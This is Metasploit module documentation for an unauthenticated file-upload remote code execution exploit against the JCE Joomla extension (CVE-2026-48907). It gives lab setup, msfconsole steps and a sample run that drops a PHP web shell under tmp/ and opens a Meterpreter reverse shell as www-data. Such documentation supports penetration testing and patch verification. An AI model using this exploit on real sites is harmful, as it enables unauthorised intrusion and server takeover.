## Vulnerable Application

This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for
Joomla! (CVE-2026-48907). The `profiles.import` task fails to enforce authentication, allowing the import of a crafted profile that
is directly written to disk as a PHP web shell. This results in remote code execution, provided that the `tmp/` directory is not
explicitly restricted. JCE versions up to and including 2.9.99.4 are affected.

A vulnerable environment requires:

* A working Joomla! installation, available from [downloads.joomla.org/](https://downloads.joomla.org/).
* The JCE extension. An affected build (<= 2.9.99.4) can be obtained from the vendor's
[GitHub repository](https://github.com/widgetfactory/jce)
([direct package link](https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip)).

No authentication is required to trigger the vulnerability; the module only needs network access to the Joomla! front end.

This module has been tested successfully on JCE 2.9.99.4 running on Joomla! 6.1.1, Apache and PHP 8.4.22.

## Verification Steps

1. Install a vulnerable Joomla! + JCE environment as described above.
2. Start `msfconsole`.
3. Do: `use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce`
4. Do: `set RHOSTS [ip]`
5. If necessary, do: `set TARGETURI [path]`
6. If necessary, set the standard options (`RPORT`, `SSL`, `LHOST`, `LPORT`, etc.) to match your environment.
7. Do: `run`
8. You should get a Meterpreter session.

## Options

### FILENAME

The name to use for the uploaded PHP payload, dropped under `tmp/`. Must end in a PHP-executable extension
(`.php`, `.php2`-`.php7`, `.pht` or `.phtml`); the module enforces this and will abort with `Failure::BadConfig`
otherwise. Defaults to a randomly generated alphanumeric filename with a `.php` extension.

## Scenarios

### JCE 2.9.99.4 on Joomla! 6.1.1 (Apache, PHP 8.4.22)

```
msf > use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RPORT 9999
RPORT => 9999
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set LHOST 172.19.0.1
LHOST => 172.19.0.1
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > check
[+] 127.0.0.1:9999 - The target appears to be vulnerable. JCE version 2.9.99.4 detected.
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > run
[*] Started reverse TCP handler on 172.19.0.1:4444 
[*] Uploading sBKP7OLDD.php
[*] Triggering /tmp/sBKP7OLDD.php
[*] Sending stage (45739 bytes) to 172.19.0.2
[+] Deleted sBKP7OLDD.php
[*] Meterpreter session 1 opened (172.19.0.1:4444 -> 172.19.0.2:37958) at 2026-06-25 22:27:32 +0200

meterpreter > sysinfo
Computer        : 78ccc0643bbc
OS              : Linux 78ccc0643bbc 7.0.11-200.fc44.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun  1 22:50:37 UTC 2026 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter > getuid
Server username: www-data
```
